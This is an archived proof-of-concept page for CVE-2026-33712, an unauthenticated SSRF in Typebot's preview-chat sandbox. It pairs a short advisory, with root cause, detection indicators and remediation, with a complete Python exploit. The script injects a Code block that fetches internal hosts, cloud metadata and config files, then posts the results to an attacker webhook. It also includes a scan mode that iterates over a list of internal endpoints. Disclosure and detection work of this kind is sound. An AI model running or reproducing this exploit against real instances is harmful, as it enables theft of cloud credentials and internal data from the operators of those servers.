PoC Archive PoC Archive
High CVE-2026-33712 patched

Typebot Unauthenticated Preview-Chat SSRF — CVE-2026-33712

by portbuster1337 · 2026-07-05

Severity
High
CVE
CVE-2026-33712
Category
web
Affected product
Typebot (open-source chatbot builder), preview chat endpoint
Affected versions
<= 3.15.2 (fixed in 3.16.0)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcherportbuster1337
CVE / AdvisoryCVE-2026-33712
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsssrf, typebot, isolated-vm, sandbox-escape, cloud-metadata, node-js, unauthenticated, chatbot
RelatedN/A

Affected Target

FieldValue
Software / SystemTypebot (open-source chatbot builder), preview chat endpoint
Versions Affected<= 3.15.2 (fixed in 3.16.0)
Language / PlatformNode.js / TypeScript backend, exploited via Python PoC script
Authentication RequiredNo
Network Access RequiredYes

Summary

Typebot’s preview-chat feature lets a caller submit an arbitrary typebot definition, including server-side “Code” blocks that execute inside an isolated-vm sandbox. In vulnerable versions, the fetch() function exposed to that sandbox called Node’s native fetch directly, without running it through Typebot’s validateHttpReqUrl() SSRF guard that protects the normal HTTP Request block type. Because the preview endpoint (POST /api/v1/typebots/{typebotId}/preview/startChat) requires no authentication, any unauthenticated attacker can submit a crafted typebot payload whose Code block issues arbitrary HTTP requests from the server. The included Python exploit builds such a payload, sends it to a target instance, and exfiltrates the response of the SSRF’d request to an attacker-controlled webhook.


Vulnerability Details

Root Cause

The sandboxed fetch() binding exposed to user-supplied Code blocks in the preview-chat flow (packages/variables/src/executeFunction.ts) called native fetch() directly without invoking validateHttpReqUrl(), so none of Typebot’s SSRF protections applied to code-block-initiated requests, and the preview endpoint itself required no authentication.

Attack Vector

  1. Attacker sends POST /api/v1/typebots/{typebotId}/preview/startChat to an unauthenticated Typebot instance with a crafted typebot definition containing a “Code” block.
  2. The Code block’s JavaScript (executed server-side inside isolated-vm) calls fetch() against an internal target (localhost, Docker-internal hostnames, cloud metadata IPs, etc.).
  3. Since the sandboxed fetch skips validateHttpReqUrl(), the request is issued regardless of destination.
  4. The PoC’s setVariable() call stores the fetched response text into a typebot variable, which is returned in the chat response or relayed onward to an attacker-controlled webhook for exfiltration.

Impact

Unauthenticated SSRF enabling cloud credential theft (AWS/GCP/Azure metadata services), access to internal-only services and Docker-internal hosts, and disclosure of internal configuration (e.g. __ENV.js, SMTP/admin email settings).


Environment / Lab Setup

Target:   Typebot <= 3.15.2 instance (builder or viewer), reachable over HTTP
Attacker: Python 3 + requirements.txt deps, network path to target and to a webhook receiver (e.g. webhook.site)

Proof of Concept

PoC Script

See exploit.py and endpoints.txt in this folder.

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pip install -r requirements.txt

python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid

python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan

exploit.py builds a typebot definition JSON containing a malicious “Code” block, POSTs it to the target’s preview startChat endpoint, and relays the resulting fetched content to the attacker’s webhook URL; endpoints.txt supplies a list of internal URLs (localhost services, Docker-internal hostnames, cloud metadata endpoints) to iterate through in --scan mode.


Detection & Indicators of Compromise

POST /api/v1/typebots/*/preview/startChat 200 - body contains "type":"Code" and fetch() to 127.0.0.1/169.254.169.254/internal hostnames

Signs of compromise:

  • Outbound HTTP requests from the Typebot server process to internal-only hosts, loopback addresses, or 169.254.169.254 shortly after a preview/startChat call.
  • Unexpected outbound traffic from the Typebot server to unfamiliar webhook domains (e.g. webhook.site) correlating with preview-chat activity.
  • Preview endpoint invocations from unauthenticated/unknown clients containing Code blocks with isUnsafe: true.

Remediation

ActionDetail
Primary fixUpgrade to Typebot >= 3.16.0, which enforces validateHttpReqUrl()/validateHttpReqHeaders() inside the sandboxed fetch() and moves the preview endpoint to protectedProcedure.
Interim mitigationRestrict network egress from the Typebot server (deny access to link-local/metadata ranges and internal-only hosts), and require authentication in front of the preview/startChat endpoint via a reverse proxy until upgraded.

References


Notes

Mirrored from https://github.com/portbuster1337/CVE-2026-33712 on 2026-07-05.

exploit.py
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#!/usr/bin/env python3
"""
CVE-2026-33712 - Typebot Unauthenticated SSRF Exploit

Typebot <= 3.15.2 - Unauthenticated SSRF via isolated-vm sandbox fetch
that bypasses validateHttpReqUrl() SSRF protection.

The fetch() inside the isolated-vm sandbox returns response.text() directly,
so the result is a string, not a Response object. Do NOT call .text() on it.
"""

import requests
import json
import sys
import urllib.parse
import argparse
import time
import random
import string
import os
import re


ENDPOINTS_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "endpoints.txt")


def rand_id(length=6):
    return "".join(random.choices(string.ascii_lowercase + string.digits, k=length))


def js_escape(s):
    return s.replace("\\", "\\\\").replace('"', '\\"').replace("\n", "\\n")


def build_payload(code):
    rid = rand_id()
    return {
        "typebotId": f"sr-{rid}",
        "typebot": {
            "version": "6",
            "id": f"bt-{rid}",
            "workspaceId": "test",
            "updatedAt": "2026-01-01T00:00:00.000Z",
            "groups": [
                {
                    "id": f"g1-{rid}", "title": "Start",
                    "graphCoordinates": {"x": 0, "y": 0},
                    "blocks": [
                        {"id": f"b1-{rid}", "type": "start", "label": "Start",
                         "outgoingEdgeId": f"e1-{rid}"}
                    ],
                },
                {
                    "id": f"g2-{rid}", "title": "Run",
                    "graphCoordinates": {"x": 200, "y": 0},
                    "blocks": [
                        {
                            "id": f"b2-{rid}", "type": "Code",
                            "outgoingEdgeId": f"e2-{rid}",
                            "options": {
                                "name": "SSRF",
                                "content": code,
                                "isExecutedOnClient": False,
                                "isUnsafe": True,
                            },
                        }
                    ],
                },
            ],
            "edges": [
                {"id": f"e1-{rid}", "from": {"blockId": f"b1-{rid}"},
                 "to": {"groupId": f"g2-{rid}"}}
            ],
            "events": [
                {"id": f"ev1-{rid}", "type": "start", "outgoingEdgeId": f"e1-{rid}",
                 "graphCoordinates": {"x": 0, "y": 0}}
            ],
            "variables": [{"id": f"v1-{rid}", "name": "r"}],
            "settings": {"general": {}},
            "theme": {"general": {}, "chat": {}},
        },
    }


def send_ssrf(base_url, code, timeout=20):
    payload = build_payload(code)
    endpoint = f"{base_url.rstrip('/')}/api/v1/typebots/{payload['typebotId']}/preview/startChat"
    headers = {"Content-Type": "application/json", "Accept": "application/json"}
    try:
        r = requests.post(endpoint, json=payload, headers=headers, timeout=timeout)
        return r.json()
    except requests.exceptions.RequestException as e:
        return {"error": str(e)}


def preflight_check(base_url, webhook=None, timeout=15):
    """Probe the target to determine if it's vulnerable, patched, or unreachable.
    Returns one of: 'vulnerable', 'patched', 'endpoint_missing', 'error'."""
    wh_callback = ""
    if webhook:
        wh_callback = f"""
    await fetch("{webhook}", {{
        method: "POST",
        headers: {{"Content-Type": "text/plain"}},
        body: "preflight-ok: " + (typeof r === "string" ? r.substring(0,100) : (await r.text()).substring(0,100))
    }});
"""
    code = f"""
try {{
    var r = await fetch("http://127.0.0.1:3000/");{wh_callback}
}} catch(e) {{}}
var x = 1;
"""
    resp = send_ssrf(base_url, code, timeout)
    if "sessionId" in resp:
        return "vulnerable"
    msg = resp.get("message", "") or json.dumps(resp)
    if "UNAUTHORIZED" in msg or "You must be logged in" in msg:
        return "patched"
    if "NOT_FOUND" in msg or "Not found" in msg:
        return "endpoint_missing"
    if "error" in resp:
        return f"error: {resp['error'][:80]}"
    return f"unexpected: {json.dumps(resp)[:100]}"


def exfiltrate(base_url, internal_url, webhook, label="", timeout=20):
    """Fetch an internal URL and exfiltrate its content via POST body to webhook."""
    safe = js_escape(internal_url)
    l_escaped = urllib.parse.quote(label or internal_url, safe="")
    code = f"""
try {{
    var r = await fetch("{safe}");
    var b = typeof r === "string" ? r : await r.text();
    await fetch("{webhook}", {{
        method: "POST",
        headers: {{"Content-Type": "text/plain"}},
        body: "{l_escaped}: " + b
    }});
}} catch(e) {{
    await fetch("{webhook}?err_{l_escaped}=" + encodeURIComponent(e.toString().substring(0,200)));
}}
"""
    return send_ssrf(base_url, code, timeout)


def ensure_scheme(url):
    if url and not url.startswith("http://") and not url.startswith("https://"):
        return f"http://{url}"
    return url


def detect_viewer_url(target, timeout=15):
    """Probe /__ENV.js on target to find NEXT_PUBLIC_VIEWER_URL."""
    url = ensure_scheme(target).rstrip("/") + "/__ENV.js"
    try:
        r = requests.get(url, timeout=timeout)
        if r.status_code == 200:
            m = re.search(r'NEXT_PUBLIC_VIEWER_URL["\']?:\s*["\']([^"\']+)["\']', r.text)
            if m:
                viewer = m.group(1)
                print(f"[+] Detected viewer URL from __ENV.js: {viewer}")
                return viewer
    except requests.exceptions.RequestException:
        pass
    return None


def load_endpoints():
    """Load endpoint URLs from endpoints.txt (one URL per line, ignores blanks)."""
    if not os.path.exists(ENDPOINTS_FILE):
        print(f"[-] Endpoints file not found: {ENDPOINTS_FILE}", file=sys.stderr)
        return []

    targets = []
    with open(ENDPOINTS_FILE) as f:
        for line in f:
            line = line.strip()
            if not line:
                continue
            targets.append((ensure_scheme(line), line))
    return targets


def scan_targets(base_url, targets, webhook, delay=0.3):
    """Scan multiple internal URLs and exfiltrate results."""
    for i, (url, desc) in enumerate(targets):
        label = f"[{i+1}/{len(targets)}] {desc}"
        print(f"  {label:50s} {url}", end=" ", flush=True)
        resp = exfiltrate(base_url, url, webhook, label)
        if "sessionId" in resp:
            print("OK")
        elif "error" in resp:
            print(f"FAIL: {resp['error'][:60]}")
        else:
            s = json.dumps(resp)
            print(f"UNEXPECTED: {s[:80]}")
        time.sleep(delay)


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-33712 - Typebot Unauthenticated SSRF Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Single URL
  %(prog)s -t https://bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid

  # Scan all endpoints from endpoints.txt
  %(prog)s -t https://bot.example.com -w https://webhook.site/your-uuid --scan

  # Auto-detect viewer URL from builder's __ENV.js
  %(prog)s -t https://builder.example.com -w https://webhook.site/your-uuid --detect-viewer --scan

  # Single test with output to endpoint
  %(prog)s -t https://bot.example.com -u http://typebot-builder:3000/ -w https://webhook.site/your-uuid
        """,
    )
    parser.add_argument("-t", "--target", required=True, help="Vulnerable Typebot instance URL (e.g. https://bot.example.com)")
    parser.add_argument("-u", "--url", help="Internal URL to fetch via SSRF")
    parser.add_argument("-w", "--webhook", default=os.environ.get("WEBHOOK_URL"),
                        help="Webhook URL for data exfiltration (or set WEBHOOK_URL env var)")
    parser.add_argument("--scan", action="store_true",
                        help="Scan all URLs from endpoints.txt")
    parser.add_argument("--detect-viewer", action="store_true",
                        help="Auto-detect viewer URL from builder's __ENV.js and use it as target")
    parser.add_argument("--force", action="store_true",
                        help="Skip pre-flight checks and force execution")
    parser.add_argument("--timeout", type=int, default=20, help="Request timeout in seconds (default: 20)")
    parser.add_argument("--delay", type=float, default=0.3, help="Delay between scan requests (default: 0.3)")

    args = parser.parse_args()

    args.target = ensure_scheme(args.target)

    # Auto-detect viewer URL from builder
    if args.detect_viewer:
        print(f"[*] Probing: {args.target}")
        viewer = detect_viewer_url(args.target, args.timeout)
        if viewer:
            args.target = ensure_scheme(viewer)
        else:
            print("[-] Could not detect viewer URL, using target as-is")

    print(f"[*] Target:  {args.target}")

    if not args.webhook:
        print("[-] Error: --webhook / -w is required (or set WEBHOOK_URL env var)")
        print("    Get one at https://webhook.site")
        sys.exit(1)

    print(f"  Webhook: {args.webhook}")
    print()

    # Pre-flight check
    print("[*] Pre-flight: probing target...", end=" ", flush=True)
    status = preflight_check(args.target, args.webhook, args.timeout)
    print(status)
    if status == "patched":
        print("[-] Target is patched (auth required). SSRF not exploitable.")
        if not args.force:
            sys.exit(1)
    elif status == "endpoint_missing":
        print("[-] Endpoint not found. Target may be the builder (not viewer), wrong version, or wrong URL.")
        print("    Try --detect-viewer if this might be the builder.")
        if not args.force:
            sys.exit(1)
    elif status == "vulnerable":
        print("[+] Target appears VULNERABLE! Proceeding...")
    elif status.startswith("error"):
        print(f"[-] {status}")
        if not args.force:
            sys.exit(1)
    else:
        print(f"[-] {status}")
        if not args.force:
            sys.exit(1)
    print()

    # Scan mode
    if args.scan:
        targets = load_endpoints()
        if not targets:
            print("[-] No endpoints found. Make sure endpoints.txt exists with valid URLs.")
            sys.exit(1)
        print(f"[*] Scanning {len(targets)} endpoints from endpoints.txt...\n")
        scan_targets(args.target, targets, args.webhook, args.delay)
        print(f"\n[*] Done. Check your webhook ({args.webhook}) for results.")
        return

    # Single URL mode
    if not args.url:
        print("[-] Error: --url / -u is required, or use --scan to read from endpoints.txt")
        sys.exit(1)

    args.url = ensure_scheme(args.url)
    print(f"[*] Fetching: {args.url}")
    resp = exfiltrate(args.target, args.url, args.webhook)
    if "sessionId" in resp:
        print("[+] Request sent. Check webhook for response body.")
    else:
        print(f"[-] Failed: {json.dumps(resp)[:200]}")


if __name__ == "__main__":
    main()